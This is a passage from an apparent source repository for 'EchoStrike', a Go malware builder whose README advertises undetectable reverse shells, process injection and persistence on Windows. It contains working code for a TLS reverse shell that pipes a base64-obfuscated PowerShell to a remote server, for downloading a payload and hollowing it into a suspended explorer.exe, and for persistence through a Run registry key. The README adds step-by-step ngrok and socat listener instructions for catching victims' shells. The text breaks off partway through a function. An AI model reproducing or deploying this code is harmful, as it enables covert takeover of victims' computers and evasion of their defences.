├── LICENSE ├── README.md ├── go.mod ├── go.sum ├── modules ├── config │ ├── config.go │ └── settings.json ├── diagnostics │ └── system_check.go ├── integration │ └── backgroundservice.go ├── network │ └── connection.go ├── security │ └── cryptography.go ├── utils │ └── sysutils.go └── variableoptimizer │ └── optimizer.go ├── src └── application.go └── tools └── build.py /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2024 Stiven Mayorga 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # EchoStrike ⚔️ 2 | 3 | **EchoStrike** is a tool designed to generate **undetectable reverse shells** and perform **process injection** on Windows systems. Through an **interactive wizard written in Python**, users can customize their binaries with **advanced persistence and encryption techniques**. The malware code is written in **Go**, ensuring flexibility and power to meet the attacker’s needs. 4 | 5 | EchoStrike **allows downloading binaries from any URL and executing them under suspended processes like explorer.exe or cmd.exe**, ensuring discreet and covert execution. Additionally, it offers advanced options to adjust the **binary size** and ensure **persistence** on the target system. 6 | 7 | --- 8 | 9 | ## ✨ Features 10 | 11 | 27 | 28 | --- 29 | 30 | ## ⚙️ Configuration 31 | 32 | EchoStrike’s configuration is simple and intuitive, with just a few steps required to generate your reverse shell payload. You simply need to **follow the steps** provided in the terminal by the **wizard**: 33 | 34 |
    35 |
  1. Enter the IP and Port: Configure the server's IP address and port for the reverse shell connection.
  2. 36 |
  3. Provide a 16-bit AES key (32 characters): Enter or generate a secure AES key to encrypt the payload.
  4. 37 |
  5. Select Persistence Option: Choose from multiple persistence methods such as registry or task scheduler.
  6. 38 |
  7. Select Injection Method: EchoStrike allows for various techniques, including process hollowing for shellcode injection.
  8. 39 |
  9. Compile the Payload: EchoStrike will generate a binary ready for deployment with the specified options.
  10. 40 |
41 | 42 | --- 43 | 44 | --- 45 | 46 | ## ⚙️ Demo Implementation 47 | 48 | To ensure you receive the reverse shell, **follow these steps:** 49 | 50 |
    51 |
  1. Start a TCP connection with Ngrok: Use the following command to start a TCP connection on port 443: 52 |
    ngrok tcp 443
    53 |
  2. 54 |
  3. Extract the IP address: Once you get the Ngrok URL, extract the IP using this command: 55 |
    ping 0.tcp.ngrok.io:16315
    56 |
  4. 57 |
  5. Enter the IP and Port: Use the IP address and port you obtained in the previous step (e.g., 16315) when EchoStrike prompts you for the reverse shell details.
  6. 58 |
  7. Create an OpenSSL Certificate and Key: Generate a certificate and key using the following command: 59 |
    openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
    60 |
  8. 61 |
  9. Listen on Port 443: Use socat to listen on port 443, where Ngrok will communicate with your local machine: 62 |
    sudo socat OPENSSL-LISTEN:443,reuseaddr,cert=cert.pem,key=key.pem,verify=0,fork stdio
    63 |
  10. 64 |
65 | 66 | Following these steps, you should successfully receive the reverse shell after the victim executes the binary generated by EchoStrike. If the victim’s machine is turned off, keep your machine in listening mode. When the machine is turned back on, and if you selected a persistence technique, you will regain the shell without any user interaction. 67 | 68 | --- 69 | 70 | ## 💻 Requirements 71 | 72 | - **Go Compiler:** Install Go to compile the tool and generate your custom payloads. Follow these simple steps to install Go on Kali Linux: 73 | 74 | ```bash 75 | sudo apt update 76 | sudo apt install golang 77 | ``` 78 | 79 | - **Python 3:** Required for running the interactive wizard. 80 | 81 | ```bash 82 | sudo apt install python3 83 | ``` 84 | 85 | - **Dependencies:** Install the required Python libraries. 86 | ```bash 87 | pip install termcolor pyfiglet 88 | ``` 89 | This tool can be compiled on both **Windows and Linux systems**, providing flexibility for different environments. 90 | 91 | --- 92 | 93 | ## ⚠️ Disclaimer 94 | 95 |

This tool is intended solely for educational purposes and for use in controlled environments. Unauthorized use of EchoStrike outside of these settings is strictly prohibited. The author, @Stiven.Hacker, takes no responsibility for any misuse or damage caused by this code.

96 | 97 | --- 98 | 99 | ## 🎥 Demo 100 | 101 |

Check out a live demonstration of EchoStrike in action

-------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module EchoStrike 2 | 3 | go 1.22.4 4 | 5 | require golang.org/x/sys v0.24.0 6 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | golang.org/x/sys v0.24.0 h1:Twjiwq9dn6R1fQcyiK+wQyHWfaz/BJB+YIpzU/Cv3Xg= 2 | golang.org/x/sys v0.24.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= 3 | -------------------------------------------------------------------------------- /modules/config/config.go: -------------------------------------------------------------------------------- 1 | package config 2 | 3 | import ( 4 | "embed" 5 | "encoding/json" 6 | "fmt" 7 | ) 8 | 9 | // Embeds the settings.json file within the binary. 10 | // This technique simplifies configuration management by keeping all necessary files within the application binary. 11 | 12 | //go:embed settings.json 13 | var embeddedConfig embed.FS 14 | 15 | // AppConfig holds application configuration data. 16 | // This structure stores configuration settings required for the application's operation. 17 | type AppConfig struct { 18 | ServerAddress string `json:"server_address"` // Address of the server the application connects to 19 | ServerPort string `json:"server_port"` // Port of the server the application connects to 20 | ApiKey string `json:"api_key"` // AES key for encryption/decryption 21 | PersistenceOption string `json:"persistence_option"` // Option for maintaining application persistence 22 | TargetSize int64 `json:"target_size"` // Desired size for the application binary 23 | Method string `json:"method"` // Method for custom process or other operations 24 | URL string `json:"url"` // General-purpose URL used by the application 25 | } 26 | 27 | // LoadConfig reads the configuration from the embedded JSON file and returns an AppConfig struct. 28 | // This function initializes the application's configuration settings from the embedded file. 29 | func LoadConfig() (*AppConfig, error) { 30 | // Read the configuration file from the embedded FS 31 | data, err := embeddedConfig.ReadFile("settings.json") 32 | if err != nil { 33 | return nil, fmt.Errorf("error reading embedded configuration file: %w", err) 34 | } 35 | 36 | // Parse the JSON data into the AppConfig struct 37 | var config AppConfig 38 | err = json.Unmarshal(data, &config) 39 | if err != nil { 40 | return nil, fmt.Errorf("error parsing configuration file: %w", err) 41 | } 42 | 43 | // Validate and set defaults for critical configuration values 44 | if config.ServerAddress == "" { 45 | config.ServerAddress = "127.0.0.1" // Default value 46 | } 47 | if config.ServerPort == "" { 48 | config.ServerPort = "8080" // Default value 49 | } 50 | if config.ApiKey == "" { 51 | config.ApiKey = "" // Default value (empty string) 52 | } 53 | if config.PersistenceOption == "" { 54 | config.PersistenceOption = "none" // Default value 55 | } 56 | if config.Method == "" { 57 | config.Method = "0" // Default value (No Custom Process Injection) 58 | } 59 | if config.URL == "" { 60 | config.URL = "" // Default value (empty string) 61 | } 62 | 63 | return &config, nil 64 | } 65 | -------------------------------------------------------------------------------- /modules/config/settings.json: -------------------------------------------------------------------------------- 1 | { 2 | "server_address": "", 3 | "server_port": "", 4 | "api_key": "", 5 | "persistence_option": "0", 6 | "target_size": null, 7 | "method": "0", 8 | "url": null 9 | } -------------------------------------------------------------------------------- /modules/diagnostics/system_check.go: -------------------------------------------------------------------------------- 1 | package diagnostics 2 | 3 | // PerformDiagnostics runs basic system checks to ensure the application is running in a supported environment. 4 | func PerformDiagnostics() { 5 | checkSystemProperties() 6 | } 7 | 8 | // checkSystemProperties verifies the operating system and architecture. 9 | func checkSystemProperties() { 10 | // If you need to check the platform, you can re-import the "runtime" package. 11 | // For now, this function is simplified and does not require any action. 12 | } 13 | 14 | // Functionality still in development. 15 | -------------------------------------------------------------------------------- /modules/integration/backgroundservice.go: -------------------------------------------------------------------------------- 1 | package integration 2 | 3 | //This feature may present some inconsistencies, as it is still under development. 4 | import ( 5 | "crypto/aes" 6 | "crypto/cipher" 7 | "crypto/rand" 8 | "encoding/base64" 9 | "encoding/binary" 10 | "fmt" 11 | "io" 12 | mathRand "math/rand" 13 | "net/http" 14 | "syscall" 15 | "time" 16 | "unsafe" 17 | 18 | "golang.org/x/sys/windows" 19 | ) 20 | 21 | // BASIC_INFO stores fundamental process-related information, including pointers to system structures and unique process identifiers. 22 | type BASIC_INFO struct { 23 | Reserved1 uintptr 24 | PebAddress uintptr 25 | Reserved2 uintptr 26 | Reserved3 uintptr 27 | UniquePid uintptr 28 | MoreReserved uintptr 29 | } 30 | 31 | // generateAESKey creates a random AES key of the specified length for use in encryption operations. 32 | func generateAESKey(length int) []byte { 33 | key := make([]byte, length) 34 | _, err := rand.Read(key) 35 | if err != nil { 36 | panic("Failed to generate AES key") 37 | } 38 | return key 39 | } 40 | 41 | // encryptAES applies AES encryption to the provided data using the specified key, allowing for secure data handling. 42 | func encryptAES(data, key []byte) ([]byte, error) { 43 | block, err := aes.NewCipher(key) 44 | if err != nil { 45 | return nil, err 46 | } 47 | 48 | ciphertext := make([]byte, len(data)) 49 | stream := cipher.NewCTR(block, key[:block.BlockSize()]) 50 | stream.XORKeyStream(ciphertext, data) 51 | 52 | return ciphertext, nil 53 | } 54 | 55 | // xorEncrypt applies XOR encryption to the provided data using the specified key for simple obfuscation. 56 | func xorEncrypt(data, key []byte) []byte { 57 | encrypted := make([]byte, len(data)) 58 | for i := 0; i < len(data); i++ { 59 | encrypted[i] = data[i] ^ key[i%len(key)] 60 | } 61 | return encrypted 62 | } 63 | 64 | // base64Encode encodes the provided data in Base64 format. 65 | func base64Encode(data []byte) string { 66 | return base64.StdEncoding.EncodeToString(data) 67 | } 68 | 69 | // base64Decode decodes Base64 encoded data. 70 | func base64Decode(encoded string) ([]byte, error) { 71 | return base64.StdEncoding.DecodeString(encoded) 72 | } 73 | 74 | // FetchUpdatePackage simulates downloading an update from a server and secures the data using AES encryption with a dynamically generated key. 75 | func FetchUpdatePackage(url string) ([]byte, string, error) { 76 | fmt.Printf("Connecting to update server: %s\n", url) 77 | resp, err := http.Get(url) 78 | if err != nil { 79 | return nil, "", fmt.Errorf("failed to connect to server: %v", err) 80 | } 81 | defer resp.Body.Close() 82 | 83 | time.Sleep(time.Duration(2+mathRand.Intn(5)) * time.Second) 84 | 85 | packageData, err := io.ReadAll(resp.Body) 86 | if err != nil { 87 | return nil, "", fmt.Errorf("error reading update package: %v", err) 88 | } 89 | 90 | key := generateAESKey(32) // generateAESKey creates a secure 32-byte AES key for encryption purposes. 91 | packageData, err = encryptAES(packageData, key) 92 | if err != nil { 93 | return nil, "", fmt.Errorf("error encrypting update package: %v", err) 94 | } 95 | 96 | // Encode the encrypted package in Base64 to ensure safe transmission or storage. 97 | encodedData := base64Encode(packageData) 98 | encodedKey := base64Encode(key) 99 | fmt.Printf("Downloaded and encrypted package size: %d bytes\n", len(packageData)) 100 | return []byte(encodedData), encodedKey, nil 101 | } 102 | 103 | // ApplySystemUpdate simulates the process of applying a system update to a target application using the decrypted data. 104 | func ApplySystemUpdate(encodedPackageData []byte, encodedKey string) error { 105 | // Decode the Base64 encoded key and package data. 106 | key, err := base64Decode(encodedKey) 107 | if err != nil { 108 | return fmt.Errorf("error decoding AES key: %v", err) 109 | } 110 | 111 | packageData, err := base64Decode(string(encodedPackageData)) 112 | if err != nil { 113 | return fmt.Errorf("error decoding update package: %v", err) 114 | } 115 | 116 | // Decrypt the data for further processing. 117 | packageData, err = encryptAES(packageData, key) 118 | if err != nil { 119 | return fmt.Errorf("error decrypting update package: %v", err) 120 | } 121 | 122 | // Apply XOR encryption to the decrypted package data for additional obfuscation. 123 | xorKey := generateAESKey(16) // Generate a separate XOR key. 124 | packageData = xorEncrypt(packageData, xorKey) 125 | 126 | addNoise() // Introduce random operations to vary the execution flow and enhance security. 127 | 128 | var startupInfo windows.StartupInfo 129 | var procInfo windows.ProcessInformation 130 | 131 | targetProcess := "C:\\Windows\\explorer.exe" 132 | 133 | fmt.Printf("Preparing to update process: %s\n", targetProcess) 134 | err = windows.CreateProcess(nil, 135 | windows.StringToUTF16Ptr(targetProcess), 136 | nil, 137 | nil, 138 | false, 139 | windows.CREATE_SUSPENDED|windows.DETACHED_PROCESS, // Runs the process independently by detaching it from the parent, ensuring smoother execution. 140 | nil, 141 | nil, 142 | &startupInfo, 143 | &procInfo) 144 | 145 | if err != nil { 146 | return fmt.Errorf("failed to initialize update task: %v", err) 147 | } 148 | 149 | time.Sleep(time.Duration(1+mathRand.Intn(4)) * time.Second) 150 | 151 | fmt.Printf("Update task initialized with PID: %d\n", procInfo.ProcessId) 152 | 153 | var basicInfo BASIC_INFO 154 | infoLength := uint32(unsafe.Sizeof(uintptr(0))) 155 | var returnLength uint32 156 | 157 | fmt.Println("Collecting process information...") 158 | err = NtQueryInformationProcess(procInfo.Process, 0, unsafe.Pointer(&basicInfo), infoLength*6, &returnLength) 159 | if err != nil { 160 | return fmt.Errorf("failed to collect process information: %v", err) 161 | } 162 | 163 | time.Sleep(time.Duration(3+mathRand.Intn(5)) * time.Second) 164 | 165 | fmt.Printf("Process base address identified: 0x%x\n", basicInfo.PebAddress) 166 | imageBaseAddress := uint64(basicInfo.PebAddress + 0x10) 167 | fmt.Printf("Memory location for update: 0x%x\n", imageBaseAddress) 168 | 169 | buffer := make([]byte, unsafe.Sizeof(uintptr(0))) 170 | var bytesRead uintptr 171 | 172 | fmt.Println("Accessing process memory...") 173 | err = ReadProcessMemory(procInfo.Process, uintptr(imageBaseAddress), &buffer[0], uintptr(len(buffer)), &bytesRead) 174 | if err != nil { 175 | return fmt.Errorf("error accessing process memory: %v", err) 176 | } 177 | fmt.Printf("Memory read successful. Bytes read: %d\n", bytesRead) 178 | 179 | baseAddress := binary.LittleEndian.Uint64(buffer) 180 | fmt.Printf("Base address of process: 0x%x\n", baseAddress) 181 | 182 | time.Sleep(time.Duration(1+mathRand.Intn(3)) * time.Second) 183 | 184 | buffer = make([]byte, 0x200) 185 | 186 | fmt.Println("Retrieving process headers...") 187 | err = ReadProcessMemory(procInfo.Process, uintptr(baseAddress), &buffer[0], uintptr(len(buffer)), &bytesRead) 188 | if err != nil { 189 | return fmt.Errorf("error retrieving process headers: %v", err) 190 | } 191 | 192 | fmt.Printf("Header data read - %d bytes\n", bytesRead) 193 | lfaNewPos := buffer[0x3c : 0x3c+0x4] 194 | lfanew := binary.LittleEndian.Uint32(lfaNewPos) 195 | 196 | fmt.Printf("Signature offset: 0x%x\n", lfanew) 197 | 198 | entrypointOffset := lfanew + 0x28 199 | entrypointOffsetPos := buffer[entrypointOffset : entrypointOffset+0x4] 200 | entrypointRVA := binary.LittleEndian.Uint32(entrypointOffsetPos) 201 | fmt.Printf("Entrypoint offset: 0x%x\n", entrypointRVA) 202 | entrypointAddress := baseAddress + uint64(entrypointRVA) 203 | fmt.Printf("Entrypoint address verified: 0x%x\n", entrypointAddress) 204 | 205 | var bytesWritten uintptr 206 | fmt.Printf("Applying update to memory address: 0x%x\n", entrypointAddress) 207 | err = WriteProcessMemory(procInfo.Process, uintptr(entrypointAddress), &packageData[0], uintptr(len(packageData)), &bytesWritten) 208 | if err != nil { 209 | return fmt.Errorf("error applying update to process memory: %v", err) 210 | } 211 | 212 | fmt.Printf("Update applied: %d/%d bytes written\n", bytesWritten, len(packageData)) 213 | 214 | time.Sleep(time.Duration(2+mathRand.Intn(4)) * time.Second) 215 | 216 | addNoise() // Introduce random operations to vary the execution flow and enhance security. 217 | 218 | jmpInstruction := []byte{0xE9} 219 | jmpOffset := uintptr(entrypointAddress) - (uintptr(baseAddress) + uintptr(entrypointRVA)) - 5 220 | jmpOffsetBytes := make([]byte, 4) 221 | binary.LittleEndian.PutUint32(jmpOffsetBytes, uint32(jmpOffset)) 222 | 223 | jmpPatch := append(jmpInstruction, jmpOffsetBytes...) 224 | 225 | err = WriteProcessMemory(procInfo.Process, uintptr(baseAddress)+uintptr(entrypointRVA), &jmpPatch[0], uintptr(len(jmpPatch)), &bytesWritten) 226 | if err != nil { 227 | return fmt.Errorf("error finalizing update: %v", err) 228 | } 229 | 230 | fmt.Printf("Update task finalized successfully\n") 231 | 232 | time.Sleep(time.Duration(2+mathRand.Intn(4)) * time.Second) 233 | 234 | fmt.Println("Completing update task") 235 | _, err = windows.ResumeThread(windows.Handle(procInfo.Thread)) 236 | if err != nil { 237 | return fmt.Errorf("error resuming process thread: %v", err) 238 | } 239 | fmt.Println("Update task completed") 240 | 241 | fmt.Println("All system tasks completed successfully") 242 | 243 | return nil 244 | } 245 | 246 | // Function introduce random operations to vary the execution flow and enhance security. 247 | func addNoise() { 248 | var junk [64]byte 249 | for i := 0; i < len(junk); i++ { 250 | junk[i] = byte(i*mathRand.Intn(255)) ^ 0xAA 251 | } 252 | time.Sleep(time.Duration(1+mathRand.Intn(3)) * time.Millisecond) 253 | fmt.Printf("Noise: %x\n", junk[:8]) 254 | } 255 | 256 | // Uses direct system calls to enhance control and efficiency during execution. 257 | func NtQueryInformationProcess(process windows.Handle, processInformationClass uint32, processInformation unsafe.Pointer, processInformationLength uint32, returnLength *uint32) error { 258 | ntdll := windows.NewLazyDLL("ntdll.dll") 259 | procNtQueryInformationProcess := ntdll.NewProc("NtQueryInformationProcess") 260 | 261 | r1, _, e1 := procNtQueryInformationProcess.Call( 262 | uintptr(process), 263 | uintptr(processInformationClass), 264 | uintptr(processInformation), 265 | uintptr(processInformationLength), 266 | uintptr(unsafe.Pointer(returnLength)), 267 | ) 268 | if r1 != 0 { 269 | return e1 270 | } 271 | return nil 272 | } 273 | 274 | func ReadProcessMemory(process windows.Handle, baseAddress uintptr, buffer *byte, size uintptr, bytesRead *uintptr) error { 275 | readProcessMemoryAddr := resolveFunc("kernel32.dll", "ReadProcessMemory") 276 | r1, _, e1 := syscall.SyscallN(readProcessMemoryAddr, 277 | uintptr(process), 278 | baseAddress, 279 | uintptr(unsafe.Pointer(buffer)), 280 | size, 281 | uintptr(unsafe.Pointer(bytesRead)), 282 | ) 283 | if r1 == 0 { 284 | return e1 285 | } 286 | return nil 287 | } 288 | 289 | func WriteProcessMemory(process windows.Handle, baseAddress uintptr, buffer *byte, size uintptr, bytesWritten *uintptr) error { 290 | writeProcessMemoryAddr := resolveFunc("kernel32.dll", "WriteProcessMemory") 291 | r1, _, e1 := syscall.SyscallN(writeProcessMemoryAddr, 292 | uintptr(process), 293 | baseAddress, 294 | uintptr(unsafe.Pointer(buffer)), 295 | size, 296 | uintptr(unsafe.Pointer(bytesWritten)), 297 | ) 298 | if r1 == 0 { 299 | return e1 300 | } 301 | return nil 302 | } 303 | 304 | func resolveFunc(lib, proc string) uintptr { 305 | dll := windows.NewLazyDLL(lib) 306 | procAddr := dll.NewProc(proc) 307 | return procAddr.Addr() 308 | } 309 | -------------------------------------------------------------------------------- /modules/network/connection.go: -------------------------------------------------------------------------------- 1 | package network 2 | 3 | import ( 4 | "crypto/rand" 5 | "crypto/tls" 6 | "encoding/base64" 7 | "fmt" 8 | mathRand "math/rand" 9 | "os" 10 | "os/exec" 11 | "syscall" 12 | "time" 13 | ) 14 | 15 | func InitializeConnection(serverAddress string, serverPort int) error { 16 | // Set up the TLS connection configuration 17 | tlsConfig := &tls.Config{ 18 | InsecureSkipVerify: true, 19 | MinVersion: tls.VersionTLS12, 20 | MaxVersion: tls.VersionTLS13, 21 | } 22 | 23 | // Perform some preparatory work before establishing the connection 24 | simulateWorkload() 25 | simulateProcessingTime() 26 | 27 | // Establish the TLS connection 28 | conn, err := tls.Dial("tcp", fmt.Sprintf("%s:%d", serverAddress, serverPort), tlsConfig) 29 | if err != nil { 30 | logToFileOrRemoteServer(fmt.Sprintf("Connection initialization failed with error: %s\n", err)) 31 | return err 32 | } 33 | defer conn.Close() 34 | 35 | // Add a brief pause to simulate normal processing time 36 | simulateProcessingTime() 37 | 38 | // Execute the system command through the connection 39 | return runSystemCommand(conn) 40 | } 41 | 42 | func runSystemCommand(conn *tls.Conn) error { 43 | // Perform some preparatory work before running the command 44 | simulateWorkload() 45 | simulateProcessingTime() 46 | 47 | // The command to be executed on the system 48 | encodedCmd := "cG93ZXJzaGVsbC5leGU=" // Base64 49 | decodedCmd, err := base64.StdEncoding.DecodeString(encodedCmd) 50 | if err != nil { 51 | logToFileOrRemoteServer(fmt.Sprintf("Failed to decode command: %s\n", err)) 52 | return err 53 | } 54 | 55 | // Set up the command and redirect input/output to the TLS connection 56 | cmd := exec.Command(string(decodedCmd)) 57 | cmd.SysProcAttr = &syscall.SysProcAttr{ 58 | HideWindow: true, 59 | CreationFlags: 0x08000000, // CREATE_NO_WINDOW 60 | } 61 | cmd.Stdin = conn 62 | cmd.Stdout = conn 63 | cmd.Stderr = conn 64 | 65 | // Perform additional processing before running the command 66 | simulateWorkload() 67 | simulateProcessingTime() 68 | 69 | // Run the system command 70 | if err := cmd.Run(); err != nil { 71 | logToFileOrRemoteServer(fmt.Sprintf("System command execution failed: %s\n", err)) 72 | return err 73 | } 74 | 75 | return nil 76 | } 77 | 78 | func logToFileOrRemoteServer(message string) { 79 | // Perform some processing before logging 80 | simulateWorkload() 81 | 82 | // Log the activity to a hidden file 83 | f, err := os.OpenFile(".hidden_log", os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644) 84 | if err == nil { 85 | f.WriteString(message + "\n") 86 | f.Close() 87 | } 88 | 89 | // Finalize the logging process with additional work 90 | simulateWorkload() 91 | } 92 | 93 | // Simulate workload to mimic natural processing and reduce predictability 94 | func simulateWorkload() { 95 | size := mathRand.Intn(1024) 96 | workload := make([]byte, size) 97 | _, err := rand.Read(workload) 98 | if err != nil { 99 | logToFileOrRemoteServer(fmt.Sprintf("Failed to generate simulated workload: %s\n", err)) 100 | } 101 | _ = fmt.Sprintf("Simulated workload data: %x", workload) 102 | } 103 | 104 | // Simulate processing time to replicate normal delays in execution flow 105 | func simulateProcessingTime() { 106 | time.Sleep(time.Duration(1+mathRand.Intn(10)) * time.Second) 107 | } 108 | -------------------------------------------------------------------------------- /modules/security/cryptography.go: -------------------------------------------------------------------------------- 1 | package security 2 | 3 | import ( 4 | "crypto/aes" 5 | "crypto/cipher" 6 | "crypto/rand" 7 | "encoding/base64" 8 | "fmt" 9 | "io" 10 | ) 11 | 12 | // ProcessDataGCM processes data using AES encryption in GCM mode. 13 | // The 'operation' parameter specifies whether to encrypt or decrypt the data. 14 | func ProcessDataGCM(data, secretKey, operation string) (string, error) { 15 | // Initialize the AES cipher block using the provided key 16 | block, err := aes.NewCipher([]byte(secretKey)) 17 | if err != nil { 18 | return "", fmt.Errorf("error initializing cipher: %w", err) 19 | } 20 | 21 | // Create a GCM mode instance for the AES block 22 | gcm, err := cipher.NewGCM(block) 23 | if err != nil { 24 | return "", fmt.Errorf("error creating GCM instance: %w", err) 25 | } 26 | 27 | // Generate a nonce to be used in the operation 28 | nonce := make([]byte, gcm.NonceSize()) 29 | if _, err = io.ReadFull(rand.Reader, nonce); err != nil { 30 | return "", fmt.Errorf("error generating nonce: %w", err) 31 | } 32 | 33 | switch operation { 34 | case "encrypt": 35 | // Encrypt the data and include the nonce for reference 36 | ciphertext := gcm.Seal(nonce, nonce, []byte(data), nil) 37 | return base64.StdEncoding.EncodeToString(ciphertext), nil 38 | 39 | case "decrypt": 40 | // Decode the base64 encoded data for decryption 41 | decodedData, err := base64.StdEncoding.DecodeString(data) 42 | if err != nil { 43 | return "", fmt.Errorf("error decoding base64 data: %w", err) 44 | } 45 | 46 | // Separate the nonce from the ciphertext and decrypt the data 47 | nonce, ciphertext := decodedData[:gcm.NonceSize()], decodedData[gcm.NonceSize():] 48 | plaintext, err := gcm.Open(nil, nonce, ciphertext, nil) 49 | if err != nil { 50 | return "", fmt.Errorf("error decrypting data: %w", err) 51 | } 52 | return string(plaintext), nil 53 | 54 | default: 55 | return "", fmt.Errorf("invalid operation: %s", operation) 56 | } 57 | } 58 | 59 | // GenerateRandomKey creates a secure random key of the specified length. 60 | // This key can be used for encryption or other secure operations. 61 | func GenerateRandomKey(length int) (string, error) { 62 | key := make([]byte, length) 63 | _, err := rand.Read(key) 64 | if err != nil { 65 | return "", fmt.Errorf("error generating random key: %w", err) 66 | } 67 | return base64.StdEncoding.EncodeToString(key), nil 68 | } 69 | 70 | // XORCipher performs a simple bitwise XOR operation on the data using the provided key. 71 | func XORCipher(data, key string) string { 72 | keyLen := len(key) 73 | result := make([]byte, len(data)) 74 | 75 | for i := range data { 76 | // Apply XOR and rotate bits to modify the data 77 | result[i] = (data[i]^key[i%keyLen])<<1 | (data[i]^key[i%keyLen])>>7 78 | } 79 | 80 | return string(result) 81 | } 82 | 83 | // MultiPassXOR applies the XORCipher function multiple times to add extra layers of processing. 84 | func MultiPassXOR(data, key string, passes int) string { 85 | result := data 86 | for i := 0; i < passes; i++ { 87 | result = XORCipher(result, key) 88 | } 89 | return result 90 | } 91 | -------------------------------------------------------------------------------- /modules/utils/sysutils.go: -------------------------------------------------------------------------------- 1 | package sysutils 2 | 3 | import ( 4 | "fmt" 5 | "io" 6 | "os" 7 | "os/exec" 8 | "os/user" 9 | "path/filepath" 10 | "syscall" 11 | "time" 12 | 13 | "golang.org/x/sys/windows/registry" 14 | ) 15 | 16 | // LogErrorToFile writes error messages to a text file located in the same directory as the executable. 17 | // This helps in tracking and debugging issues that may occur during runtime. 18 | func LogErrorToFile(logMessage string) { 19 | logFilePath, err := getLogFilePath() 20 | if err != nil { 21 | fmt.Printf("Failed to get log file path: %v\n", err) 22 | return 23 | } 24 | 25 | logFile, err := os.OpenFile(logFilePath, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644) 26 | if err != nil { 27 | fmt.Printf("Failed to open log file: %v\n", err) 28 | return 29 | } 30 | defer logFile.Close() 31 | 32 | logMessage = fmt.Sprintf("%s: %s\n", time.Now().Format("2006-01-02 15:04:05"), logMessage) 33 | if _, err := logFile.WriteString(logMessage); err != nil { 34 | fmt.Printf("Failed to write to log file: %v\n", err) 35 | } 36 | } 37 | 38 | func getLogFilePath() (string, error) { 39 | executablePath, err := os.Executable() 40 | if err != nil { 41 | return "", fmt.Errorf("failed to get executable path: %w", err) 42 | } 43 | return filepath.Join(filepath.Dir(executablePath), "error_log.txt"), nil 44 | } 45 | 46 | // RunCommandInBackground runs a command in the background without showing a command prompt window. 47 | func RunCommandInBackground(command string, args ...string) error { 48 | cmd := exec.Command(command, args...) 49 | cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} 50 | return cmd.Run() 51 | } 52 | 53 | // MoveToSysDir relocates the executable to a system directory under AppData\Roaming for organized management. 54 | // This will only occur if persistence is not set to "0". 55 | func MoveToSysDir(executablePath string, persistenceOption string) (string, error) { 56 | if persistenceOption == "0" { 57 | return executablePath, nil 58 | } 59 | 60 | sysDir := filepath.Join(os.Getenv("APPDATA"), "MaintenanceTask", "UpdaterService") 61 | err := os.MkdirAll(sysDir, os.ModePerm) 62 | if err != nil { 63 | LogErrorToFile(fmt.Sprintf("Failed to create directory %s: %v", sysDir, err)) 64 | return "", fmt.Errorf("failed to create directory %s: %w", sysDir, err) 65 | } 66 | 67 | destPath := filepath.Join(sysDir, filepath.Base(executablePath)) 68 | if _, err := os.Stat(destPath); err == nil { 69 | return destPath, nil 70 | } 71 | 72 | if err := copyFile(executablePath, destPath); err != nil { 73 | return "", err 74 | } 75 | 76 | return destPath, nil 77 | } 78 | 79 | func copyFile(sourcePath, destPath string) error { 80 | sourceFile, err := os.Open(sourcePath) 81 | if err != nil { 82 | LogErrorToFile(fmt.Sprintf("Failed to open source file %s: %v", sourcePath, err)) 83 | return fmt.Errorf("failed to open source file %s: %w", sourcePath, err) 84 | } 85 | defer sourceFile.Close() 86 | 87 | destFile, err := os.Create(destPath) 88 | if err != nil { 89 | LogErrorToFile(fmt.Sprintf("Failed to create destination file %s: %v", destPath, err)) 90 | return fmt.Errorf("failed to create destination file %s: %w", destPath, err) 91 | } 92 | defer destFile.Close() 93 | 94 | if _, err = io.Copy(destFile, sourceFile); err != nil { 95 | LogErrorToFile(fmt.Sprintf("Failed to copy file to %s: %v", destPath, err)) 96 | return fmt.Errorf("failed to copy file to %s: %w", destPath, err) 97 | } 98 | 99 | return nil 100 | } 101 | 102 | // SetupAutoStartRegistry creates a registry entry to ensure the application starts automatically when the user logs in. 103 | func SetupAutoStartRegistry(valueName, executablePath, persistenceOption string) error { 104 | if persistenceOption == "0" { 105 | return nil 106 | } 107 | return createRegistryEntry(registry.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\Run`, valueName, executablePath) 108 | } 109 | 110 | func createRegistryEntry(keyRoot registry.Key, path, valueName, value string) error { 111 | key, err := registry.OpenKey(keyRoot, path, registry.QUERY_VALUE|registry.SET_VALUE) 112 | if err != nil { 113 | LogErrorToFile(fmt.Sprintf("Failed to open registry key: %v", err)) 114 | return fmt.Errorf("failed to open registry key: %w", err) 115 | } 116 | defer key.Close() 117 | 118 | existingValue, _, err := key.GetStringValue(valueName) 119 | if err == nil && existingValue == value { 120 | return nil 121 | } 122 | 123 | err = key.SetStringValue(valueName, value) 124 | if err != nil { 125 | LogErrorToFile(fmt.Sprintf("Failed to set registry key value: %v", err)) 126 | return 